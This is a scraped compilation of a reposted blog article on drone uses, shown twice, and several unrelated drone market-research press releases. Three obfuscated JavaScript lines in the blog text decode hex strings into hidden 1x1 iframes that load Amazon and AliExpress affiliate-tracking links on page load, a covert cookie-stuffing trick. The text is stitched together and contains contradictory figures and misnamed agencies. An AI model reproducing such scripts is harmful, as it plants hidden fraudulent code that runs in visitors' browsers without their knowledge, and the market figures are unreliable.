Among them is invading a person's privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@77@77@77@2E@61@6D@61@7A@6F@6E@2E@63@6F@6D@2F@67@70@2F@73@65@61@72@63@68@2F@72@65@66@3D@61@73@5F@6C@69@5F@71@66@5F@73@70@5F@73@72@5F@74@6C@3F@69@65@3D@55@54@46@38@26@74@61@67@3D@6D@61@6C@61@79@73@30@37@2D@32@30@26@6B@65@79@77@6F@72@64@73@3D@75@6E@6D@61@6E@6E@65@64@25@32@30@61@65@72@69@61@6C@25@32@30@76@65@68@69@63@6C@65@26@69@6E@64@65@78@3D@61@70@73@26@63@61@6D@70@3D@31@37@38@39@26@63@72@65@61@74@69@76@65@3D@39@33@32@35@26@6C@69@6E@6B@43@6F@64@65@3D@75@72@32@26@6C@69@6E@6B@49@64@3D@35@38@66@66@36@31@32@39@64@64@34@34@30@63@63@64@33@36@65@65@66@39@66@63@37@30@38@39@39@31@35@34@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%')));
Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html
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The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@77@77@77@2E@61@6D@61@7A@6F@6E@2E@63@6F@6D@2F@67@70@2F@73@65@61@72@63@68@2F@72@65@66@3D@61@73@5F@6C@69@5F@71@66@5F@73@70@5F@73@72@5F@74@6C@3F@69@65@3D@55@54@46@38@26@74@61@67@3D@6D@61@6C@61@79@73@30@37@2D@32@30@26@6B@65@79@77@6F@72@64@73@3D@75@6E@6D@61@6E@6E@65@64@25@32@30@61@65@72@69@61@6C@25@32@30@76@65@68@69@63@6C@65@26@69@6E@64@65@78@3D@61@70@73@26@63@61@6D@70@3D@31@37@38@39@26@63@72@65@61@74@69@76@65@3D@39@33@32@35@26@6C@69@6E@6B@43@6F@64@65@3D@75@72@32@26@6C@69@6E@6B@49@64@3D@35@38@66@66@36@31@32@39@64@64@34@34@30@63@63@64@33@36@65@65@66@39@66@63@37@30@38@39@39@31@35@34@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%')));
Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html source https://hitz-bettina6pwr9.tumblr.com/post/624681241593217024
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Machine Control System Market current and future demand 2027
Machine Control System Market was valued US$ 4.11 Bn. in 2020 and is expected to reach a value of US$ 7.34 Bn. by 2027, with a CAGR of 8.64 % during the forecast period.
Machine Control System Market Overview:
The Machine Control System Market research study studies and analyses the market's position during the forecast period. It is a comprehensive study that focuses on primary and secondary drivers, market share, leading segments, and geographical analysis. The research looks at important events, large partnerships, mergers, and acquisitions, as well as current innovation and company strategy.
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Machine Control System Market Scope:
We looked at the Machine Control System Market from every perspective possible, using both primary and secondary research methodologies. This helped us grasp existing market dynamics such as supply-demand imbalances, pricing trends, product preferences, and customer behavior, among other things. Following that, the data is compiled and assessed utilizing a range of market estimation and data validation procedures. We also have an in-house data forecasting technique that predicts market growth until 2027.
Analysts compiled and summarised their evaluations of how suggestions might affect market behaviour. The report includes market numbers from the past and present, as well as other factors influencing the industry's growth trajectory. It provides the most latest and up-to-date information on the global Machine Control System market landscape. Demand, revenue predictions, volume, share, growth, types, applications, and sales are among the issues covered in the study. The study looks at a variety of important constraints, such as item price, production capacity, profit and loss statistics, and distribution strategies.
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Machine Control System Market Segmentation:
With a CAGR of 9.40 percent between 2021 and 2027, the Global Navigation Satellite Systems (GNSS) category dominated the machine control system market. This rise has been aided by the deployment of GNSS on scrapers, dozers, graders, excavators, and airborne equipment. The usage of GNSS for a variety of applications such as ground mapping, agriculture, mining, Unmanned Aerial Vehicle (UAV), defence, and others is further increasing demand for these systems. Furthermore, GNNS guarantees that heavy machinery is efficiently and accurately positioned, resulting in enhanced output.
Machine Control System Market Key Players:
The research also includes company biographies, product details and descriptions, strength, output, pricing, cost, profit, and contact information for the world's major industry players in the Machine Control System Market. This study examines the Machine Control System Market Trend, volume, and value at the global, regional, and corporate levels. This report evaluates historical data and forecasts to provide an overall Machine Control System Market Size from a global viewpoint. The study examines significant Machine Control System market organizations and ranks them in the market. The following players are discussed in this report:
MOBA Mobile Automation
Hemisphere GNSS
James Fisher Prolec
Eos Positioning Systems
Komatsu
Hexagon (Leica Geosystems)
Caterpillar
Volvo Construction Equipment
Mitsui Co.
Schneider Electric
Liebherr Group
JCB
Machine Control System Market Regional Analysis:
Using both qualitative and quantitative data, the research gives a comprehensive picture of the market. It gives an overview and prediction of the worldwide Machine Control System market segment by segment. It estimates the market size and forecasts for five major regions from 2021 to 2027: North America, Europe, Asia-Pacific, the Middle East, Africa, and South America. Each area's Machine Control System market is further subdivided into regions and segments. The report investigates and forecasts several countries, as well as existing trends and future potential in the field.
COVID-19 Impact Analysis on Machine Control System Market:
We thoroughly researched and analyzed the Global Machine Control System Market Development Strategy post-COVID-19, based on the company's strategic analysis, environment, type, application, and top nations, which embodies and evaluates the global Machine Control System industry's possibility, providing statistical information about market dynamics, growth regulators, major challenges, PORTER analysis, and market entry strategy analysis, possibilities, and estimates. The fundamental purpose of the research is to offer industrial businesses a strategic analysis of COVID-19's influence. Simultaneously, this research looked into the markets of major countries and presented their market potential.
Key Questions Answered in the Machine Control System Market Report are:
What are the most promising high-growth opportunities in the global Machine Control System sector, as defined by product category, End User, and Region?
Which Machine Control System market segments will expand the fastest, and why?
Which regions will have the fastest growth, and why?
What are the primary elements influencing Machine Control System market dynamics? What are the primary drivers and obstacles in the Machine Control System market?
What are the Machine Control System market's business risks and dangers?
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Global Drone Package Delivery Market Analysis by Application, Product Types and Regional
According to this latest study, the growth in the Drone Package Delivery market will change significantly from the previous year. Over the next five years, Drone Package Delivery Market size is projected to reach USD 9538.86 Million by 2027 from an estimated USD 798.33 Million in 2021, growing at a CAGR of 51.4% globally.
A delivery drone is an unmanned aerial vehicle (UAV) used to transport packages, medical supplies, food, or other goods. Delivery drones are typically autonomous. In November 2020 the FAA proposed airworthiness criteria for type certification of delivery drones with an intent to initialize commercial operations. A delivery drone is an unmanned aerial vehicle (UAV) used to transport packages, medical supplies, food, or other goods. Delivery drones are typically autonomous. In November 2020 the FAA proposed airworthiness criteria for type certification of delivery drones with an intent to initialize commercial operations. Zipline, Wingcopter, and Amazon Prime Air were amongst the 10 companies selected for this type certification.
Drone Package Delivery Market report covers the detailed analysis on current and upcoming market trends, company market shares, market projections, competitive benchmarking, competition mapping, and in-depth research of the most significant sustainability strategies and their impact on industry growth and competition. The research was conducted using a combination of primary and secondary data, as well as input from leading industry players.
Key Players Covered in Drone Package Delivery Market Are:
United Parcel Service of America Inc., Airbus S.A.S., Altitude Angel, Amazon.Com Inc., Zipline, Bizzby, Boeing, Cheetah Logistics Technology, Flirtey, DHL International GmbH, EHang, Drone Delivery Canada Corp.,Dronescan, Edronic, Fedex, FLI Drone, Flytrex, Matternet Inc., Skycart Inc., Wing Aviation LLC, Workhorse Group Inc., Matternet Inc.
Market has segmented the global Drone Package Delivery market on the basis of type, application, and region:
By Type:
· Fixed-Wing
· Multirotor
· Hybrid
By Application:
· Medical Aids Delivery
· Food Delivery
· Retail Goods Delivery
· Industrial Delivery
· Postal Delivery
· Precision Agriculture Delivery
· Weapons & Ammunitions Delivery
IMR presents a detailed study, and summation of data from multiple sources by an analysis of key parameters. Our report on Drone Package Delivery market covers the following areas:
· Drone Package Delivery Industry Sizing Analysis
· Drone Package Delivery Industry Forecast Analysis
· Drone Package Delivery Market Industry Analysis
Also, the Drone Package Delivery market analysis report includes information on upcoming technology trends, restraints, threats, challenges and opportunities that will influence market growth. This is to help companies strategize and leverage all forthcoming growth opportunities. The report contains a comprehensive market and competitive landscape in addition to an analysis of the key vendors
The report covers key regions of the Drone Package Delivery market. This list includes many regions such as:
· North America (U.S., Canada, Mexico)
· Europe (Germany, U.K., France, Italy, Russia, Spain, Rest of Europe)
· Asia-Pacific (China, India, Japan, Southeast Asia, Rest of APAC)
· Middle East & Africa (GCC Countries, South Africa, Rest of MEA)
· South America (Brazil, Argentina, Rest of South America)
COVID-19 Impact Drone Package Delivery market
The COVID-19 pandemic has had devastating effects on several industry verticals globally. To constrain the number of cases and slow the coronavirus spread, various public health guidelines were implemented in different countries across the globe. COVID-19 protocols ranging from declaring national emergency states, enforcing stay-at-home orders, closing nonessential business operations and schools, banning public gatherings, imposing curfews, distributing digital passes, and allowing police to restrict citizen movements within a country, as well as closing international borders. With the growing vaccination rate, governments are uplifting the protocols to give a boost to the stagnant economy. Like other industries, Drone Package Delivery Market have experienced slowdown the growth, however market is expected bounce back as restrictions are being lifted up by governments across the globe.
The report covers the present scenario and the growth prospects of the global Drone Package Delivery and grinders market for 2022-2028. To calculate the market size, the report presents a detailed picture of the market by way of study, synthesis, and summation of data from multiple sources.
Key benefits of the report:
· This study presents the analytical depiction of the global drone package delivery industry along with the current trends and future estimations to determine the imminent investment pockets.
· The report presents information related to key drivers, restraints, and opportunities along with detailed analysis of the global drone package delivery market share.
· The current market is quantitatively analyzed from 2022 to 2028 to highlight the global drone package delivery market growth scenario.
· Porter’s five forces analysis illustrates the potency of buyers & suppliers in the market.
· The report provides a detailed global drone package delivery market analysis based on competitive intensity and how the competition will take shape in coming years.
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LiDAR Drone Market Share 2028
The global LiDAR drone market size is anticipated to reach USD 455.0 million by 2028 and exhibit a CAGR of 17.98% during the forecast period. The surging adoption of economical 3D imaging sensors is likely to boost market growth. Fortune Business InsightsTM has published this information in its report titled “LiDAR Drone Market, 2023-2028”. The market size stood at USD 129.0 million in 2020 and is predicted to reach USD 143.0 million in 2023.
Additionally, the rising use of LiDAR drones for corridor mapping applications is expected to boost the market growth as this technology has emerged as an effective solution for remote sensing platforms.
COVID-19 Impact-
The swift outspread of the coronavirus pandemic has affected various markets and industries globally. The shutdowns of production plants and manufacturing facilities due to lockdowns and curfews for indefinite time periods have declined the market growth. The disruptions in exploration and detection, cartography surveillance and scheduled mapping, precision agriculture application operations, and others due to the temporary shutdowns have negatively impacted the growth of the market. However, the market is expected to recover swiftly once the market returns to pre-pandemic levels.
Segmentation-
On the basis of product, the market is bifurcated into rotary-wing LiDAR drones, and fixed-wing LiDAR drones. On the basis of LiDAR type, the market is divided into mechanical LiDAR and solid-state LiDAR. On the basis of range, the market is trifurcated into long, medium, and short. On the basis of application, the market is fragmented into precision agriculture, exploration and detection, environment, surveillance, mapping cartography, and others. Geographically, the market is classified into Asia Pacific, North America, Europe, the Middle East, and the Rest of the World.
Report Coverage-
Features a comprehensive market analysis.
Emphasizes key factors, such as leading companies, applications, and others.
Provides crucial insights into the market’s regulatory scenarios.
Assesses the impact of the COVID-19 pandemic.
Suggests strategies to capture growth in the coming years.
Drivers & Restraints-
Growing Adoption of Economical 3D Imaging Systems to Drive Market Growth
Drone technology has witnessed immense development and innovation over the past few years. LiDAR technology is vastly linked to airborne laser scanning, and drone using this technology has grown substantially due to developments in laser and sensor components. Mapping has proven effective in producing data about surface features and shapes from georeferenced spatial data. The improvements in sensor and laser components and drone technology have resulted in economical three-dimensional mapping systems. Therefore, the increasing adoption of economical 3D image mapping systems is likely to fuel the global LiDAR Drone Market growth.
Also, UAV LiDAR has proven beneficial in precise data gathering in mountainous terrains and dense landscapes. UAVs are effective in collecting high-resolution imagery. Hence, the growing demand for 3D mapping to acquire precise information for forest monitoring, vegetation monitoring, and archaeological surveys is anticipated to drive market growth.
However, high costs of products and operations, coupled with strict regulations, may hinder market growth.
Browse Summary
Regional Insights-
Favorable Drone Flying Regulations to Boost Growth in North America
North America is projected to emerge dominant in the global LiDAR Drone Market share. The favorable drone flying regulations and swift adoption of modern technologies are anticipated to fuel the market growth. Moreover, the major manufacturers present in the U.S., are expected to complement the regional market growth.
Europe is expected to attain the second rank in the global market. Several manufacturers, including Delair, Yellow Scans, and Leica, present in the region are expected to boost the market growth. Moreover, the increasing infrastructural development and environment monitoring applications are likely to boost the growth of the market.
Asia Pacific is likely to experience rapid growth in the coming years due to increasing commercial drone manufacturers in emerging countries, including India and China.
The Middle East is anticipated to exhibit moderate growth due to increasing investments in infrastructural development.
Competitive Landscape-
Key Players Devise Innovative Growth Strategies
The market comprises Velodyne Lidar inc., RIEGL Laser Measurement Systems GmbH, Teledyne Optech Inc., and Leica Geosystems AG, amongst the top market players. The key players operating in the market emphasize continuous research and development with increased investments. They focus on advanced technology adoption to launch new products. They adopt ingenious growth strategies, including long-term contracts, partnerships, new product launches, and others to augment their growth in the global market. For instance, in October 2020, SZ DJI Technology Co. Ltd. unveiled an integrated LiDAR drone solution. They also launched a full-frame camera payload called DJI Zenmuse P1 and DJI Zenmuse L1. The payloads are designed for its top-notch commercial drone platform, Matrice 300RTK.
Industry Developments-
January 2021: Velodyne Lidar Inc. announced receiving a multi-year contract by Emesent Pty Ltd. The company will provide Puck LITE™ sensors to Emesent Pty Ltd.
List of Key Players in the Market:
Velodyne Lidar Inc. (U.S.)
Teledyne Optech Inc. (Canada)
RIEGL Laser Measurement Systems GmbH (Austria)
Delair SAS (France)
Phoenic LiDAR Systems (U.S.)
Leica Ecosystems AG (Switzerland)
Yellow Scan (France)
LiDARUSA (U.S.)
SZ DJI Technology Co. Ltd. (China)
Benewake (Beijing) Co. Ltd. (China)
RoboSense (China)
Sich AG (Germany)
Microdrones (Germany)
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UAV Drones Market Analysis, Segments, Size, Share, Global Demand, Manufacturers, Drivers and Trends to 2027
UAV Drones Market size was valued at US$ 27.07 Bn. in 2020 and the total revenue is expected to grow at a CAGR of 18.92% through 2021 to 2027, reaching nearly US$ 91.05 Bn.
UAV Drones Market Overview:
Drones employ a variety of payloads to collect photos and movies, including camera systems and sensors (e.g., footage of smugglers and unauthorised immigrants crossing borders). Predator drones can monitor border areas invisibly, looking for infiltrators, illegal immigrants, human traffickers, and drug dealers. are used in law enforcement, precision agriculture, media and entertainment, spying, and search and rescue operations, to name a few.
The UAV Drones Market Research Report includes a comprehensive evaluation of strategy analysis, micro and macro market trends and scenarios, price analysis, and short-term market conditions, as well as an in-depth look at significant competitors. The primary and secondary market drivers, market share, important market categories, and regional market analysis are all covered in depth in this report. Major corporations, key collaborations, mergers and acquisitions, as well as modern innovation and corporate strategy are all investigated in UAV Drones Market Analysis.
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UAV Drones Market Scope:
The UAV Drones market is expected to increase steadily between 2021 and 2027, according to market experts. Due to their strong efforts, leading industry participants are expected to continue to make aggressive efforts to develop the sector swiftly through 2021.
Import and export consumption, supply and demand, costs, prices, shares, sales volumes, revenues, and gross profits are all covered in this UAV Drones market study. The manufacturing bases, capacity, production, factory prices, revenues, and market share of each manufacturer in the UAV Drones market are examined in this study. The United States (USA), Canada, Mexico, Germany, France, the United Kingdom (UK), Russia, Italy, China, Japan, South Korea, India, Southeast Asia, Australia, Brazil, and Saudi Arabia are among the countries (regions) studied.
UAV Drones Market Segmentation:
This increase is fueled by the rising demand for drones and drone-generated data in commercial applications. Other countries’ airspace regulations for commercial drones have also been relaxed, resulting in a faster rate of commercial drone adoption. During the forecast period 2021-2027, these are the major important drivers that would propel the Commercial Drones segment forward in the global market.
UAV Drones Market Key Players: General Atomics Aeronautical Systems (GA-ASI), Northrop Grumman, DJI, Aerovironment, Parrot, Thales, 3DR, Lockheed Martin, Boeing, Textron, Precisionhawk, Aidrones, Saab, Ing Robotic Aviation, Delta Drone, Aeroscout
The study examines the most recent significant advancements in the worldwide UAV Drones market, as well as the leading producers and innovators.
The Competitive Strategy window allows vendors to assess the competitive landscape from the perspectives of market, application, and region, as well as determine whether their strengths and future growth prospects are adequate. Vendors should use sequential merger and acquisition plans, geographic development strategies, research and development (R & D) strategies, and new product launch strategies, or explain the most advantageous match, to implement future business growth and expansion in a predictable time period.
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UAV Drones Market Regional Analysis:
Europe, North America, Asia-Pacific, the Middle East and Africa, and Latin America are the five primary regions of the world. The UAV Drones Industry Research examines the market’s key geographies, as well as notable segments and sub-segments. This UAV Drones market study includes figures, geographies, and revenue, as well as an in-depth look at the business chain structure, opportunities, and industry news.
COVID-19 Impact Analysis on UAV Drones Market:
COVID-19 is a major public health emergency that has impacted practically every industry and is expected to hinder industrial growth between 2021 and 2027. Maximize Market Study (MMR) is broadening the scope of its research to address key COVID-19 concerns and potential solutions. In light of changes in consumer demand, purchasing habits, supply chain rerouting, market dynamics, and government action, COVID-19 is being examined. The influence of COVID-19 on the market is assessed in this updated report, which includes additional insights, analyses, estimates, and projections.
Key Benefits for Industry Participants & Stakeholders:
The report discusses the drivers, restraints, and opportunities for the industryThe market performance is seen from a neutral perspectiveTrends and developments in the industryStrategic positioning of key players in the competitive landscapeSegments & regions with potential and showing promise for growth are coveredA historical accounting of the value of the market (historical, current, and expected)The market for UAV Drones is analysed in depth
Key Questions answered in the UAV Drones Market Report are:
Which product segment grabbed the largest share in the UAV Drones market?How is the competitive scenario of the UAV Drones market?Which are the key factors aiding the UAV Drones market growth?Which region holds the maximum share in the UAV Drones market?What will be the CAGR of the UAV Drones market during the forecast period?Which application segment emerged as the leading segment in the UAV Drones market?Which are the prominent players in the UAV Drones market?What key trends are likely to emerge in the UAV Drones market in the coming years?What is the expected UAV Drones market size by 2027?Which company held the largest share in the UAV Drones market?
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Drone Sensors Market Are Estimated To Increase During Period Worth USD 2342.1 million in at a CAGR of 25.08%by 2028
The global drone sensors market size is projected to reach USD 2,342.1 million by 2028, exhibiting a CAGR of 25.08% during the forecast period. The increasing deployment of drones amid the COVID-19 crisis will be a major driving factor for this market, postulates Fortune Business Insights™ in its report, titled ”Drone Sensors Market, 2020-2028”. As per the report, the value of the market was estimated to be USD 394.7 million in 2020.
Information Source:
Report Highlights:
The report offers comprehensive analyses of existing companies that are redefining the dynamics of this market. In addition to that, it provides an accurate assessment of the market by highlighting data on multiple aspects related to growth drivers, opportunities, trends, and hindrances. It also represents the overall market size from a global perspective by analyzing historical data and providing qualitative insights.
Segments:
Based on type, the market is segmented into inertial sensors, image sensors, speed sensors, position sensors, pressure sensors, ultrasonic sensors, light sensors, and distance sensors. In terms of platform analysis, the market is divided into VTOL, fixed-wing, and hybrid. Based on application, the market is segregated into navigation, collision detection, avoidance, data acquisition, motion detection, air pressure measurement, power monitoring, and others. By geography, the market has been categorized into North America, Europe, Asia Pacific, and the Rest of the World.
Drivers & Restraints:
Growing Need for UAVs in Agricultural Operations to Boost the Market
According to a report released by the Food and Agriculture Organization and the International Telecommunication Union, over 815 million people worldwide experienced chronic hunger in 2018. According to the same report, food production is projected to increase by 50% by 2050. Global desire and rising food demand are both fueled by the world's rapidly growing population. Drones are being used by growers all over the world to increase the productivity of their farms. In April 2021, for instance, the Western African nation of Togo began deploying drones to transform rice farming in the country. UAVs in agriculture are widely used for various applications, including early warning systems, disaster risk mitigation, forestry applications, fisheries, and wildlife protection, which are possible because of drone sensors. Due to their superior data collection, mapping, and surveillance capabilities, the growing use of unmanned systems in the commercial and military & defense sectors is expected to drive demand for drone sensors in the future.
Regional Insights:
Rising Deployment of Drones for Military Operations to Aid the North America Market
North America is expected to dominate the drone sensors market share because of the rapidly increasing adoption of drones in the military and defense industry. In 2020, the region's market value was USD 143.2 million. Drones are used in the military for various missions, including surveillance, reconnaissance, and targeting. Furthermore, the equipment is being used in multiple applications by the United States' booming ICT industry. For example, Amazon stated in June 2019 that the company is interested in using drones to deliver packages. The Federal Aviation Administration has also given the company approval for its "prime air delivery" fleet.
Due to the significant presence of drone sensor vendors in this region and favorable government regulations, the Asia Pacific drone sensors market growth is expected to accelerate at a substantial CAGR during the forecast period.
Competitive Landscape:
Collaborations with Defense Agencies to Assist Key Players in Improving Product Lines
To implement the latest technology for their operations, key players in the global market are concentrating on cooperating with government bodies to broaden their product offerings. For example, the US Department of Defense awarded General Atomic a USD 93.3 million contract to develop drone sensors for the MQ-9 Reaper in November 2020. Both sides have agreed to work together.
Industry Development:
October 2020: Aquiline Drones, a Connecticut-based UAV manufacturer, has signed a licensing agreement with Drone Volt, a French sensor manufacturer. The deal would provide the French corporation with production and distribution facilities throughout the United States.
List of Key Players Profiled in the Drone Sensors Market Report:
Trimble
TDK Invensense
Sparton NavEx
Raytheon
Lord Microstrain
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What is the current scenario of Drone Analytics Market in US?
The global drone analytics market forecast to be valued at $7,381.9 million by 2028, surging from $2,112.0 million in 2020, at a noteworthy CAGR of 17.1%.
Analysis of Covid-19 Impact on Drone Analytics Market
The Covid-19 impact on drone analytics market demand has been moderate. The restrain in the global industrial production due to imposed lockdowns across the globe has disturbed supply chain defense equipment manufacturing industry hindering the growth of drone analytics market. Major companies in this sector such as Northrop Grumman Corporation, Lockheed Martin Corporation, and others have experienced a reduction in demand in the drone analytics market. These factors are expected to negatively impact the market growth.
The coronavirus epidemic has enforced the companies in the drone analytics industry for the adoption of new methods of operation such as implementation of predictive analytics to forecast losses accurately and virtual monitoring of the production. These developments are anticipated to aid in mitigating the impact of COVID-19 pandemic the segment of the global drone analytics market growth.
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Global Drone Analytics Market Analysis
Unmanned aerial vehicles (UAVs), or drones, are aircrafts that can be remotely controlled by pilots or via pre-programmed planning and automation systems and can fly autonomously. Various industries and organizations, including military, government, commercial, and entertainment users, are using this technology. Drones have become an economically viable option for a wide range of commercial functions over the years. Commercial drones are currently having a major impact on applications that take advantage of the ability to collect localized visual information quickly and inexpensively. Some of these areas are agriculture, construction, infrastructure, and inventory management. With the help of drone analysis, farmers can benefit from real-time information about vast lands. The commercial utilization of drones for intelligence, surveillance, reconnaissance, and combat operations can reduce the loss of human lives in armed forces which is anticipated to aid the growth of the market.
Drone analytics trends such as new innovations in the field of defense avionics software are expected to expand the drone analytics market size. For instance, in November 2021, Israel-based autonomous inspection with industrial robotics company, Percepto, announced the launch of its upgraded 2022 Autonomous Inspection & Monitoring (AIM) platform and its new Air Mobile drone.
Global Drone Analytics Market, Segmentation
The global drone analytics market is segmented based on type, application, end-use, and region.
By Type:
The type segment is further classified into on-premises and on-demand. Among these, the on-premises sub-segment is expected to be the most dominating and surpass $4,199.1 million by 2028, with an increase from $ 1,271.1 million in 2020.
Application:
Based on application, the market has been divided into inspection, mapping, surveying, and others. Among these, inspection sub-segment is anticipated to dominate in the forecast period and surpass $777.3 million by 2028, with an increase from $2,624.6 million in 2020.
End-use:
Based on end-use, the market has been sub-segmented into defense, commercial, and consumer sub-segment. The commercial sub-segment is projected to be the fastest growing in the global market and register a revenue of $1,330.6 million during the forecast timeframe of 2021-2028.
Region:
The drone analytics market for the North America region generated a revenue of $757.6 million in 2020 and is further projected to reach up to $2,588.8 million by 2028. The North America region is expected to be the dominating region for the drone analytics market in the forecast period.
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Key Players in the Global Drone Analytics Market
Some of the leading global drone analytics market players are
BAE Systems
Delta Drone
AeroVironment, Inc.
DroneDeploy
Esri
PrecisionHawk, Inc.
VIATechnik LLC
Pix4D SA
Kespry Inc.
Optelos LLC.
Along with the company profiles of the key players in the market, the report includes the Porter’s five forces model that gives deep insights into the competitive environment of the market.
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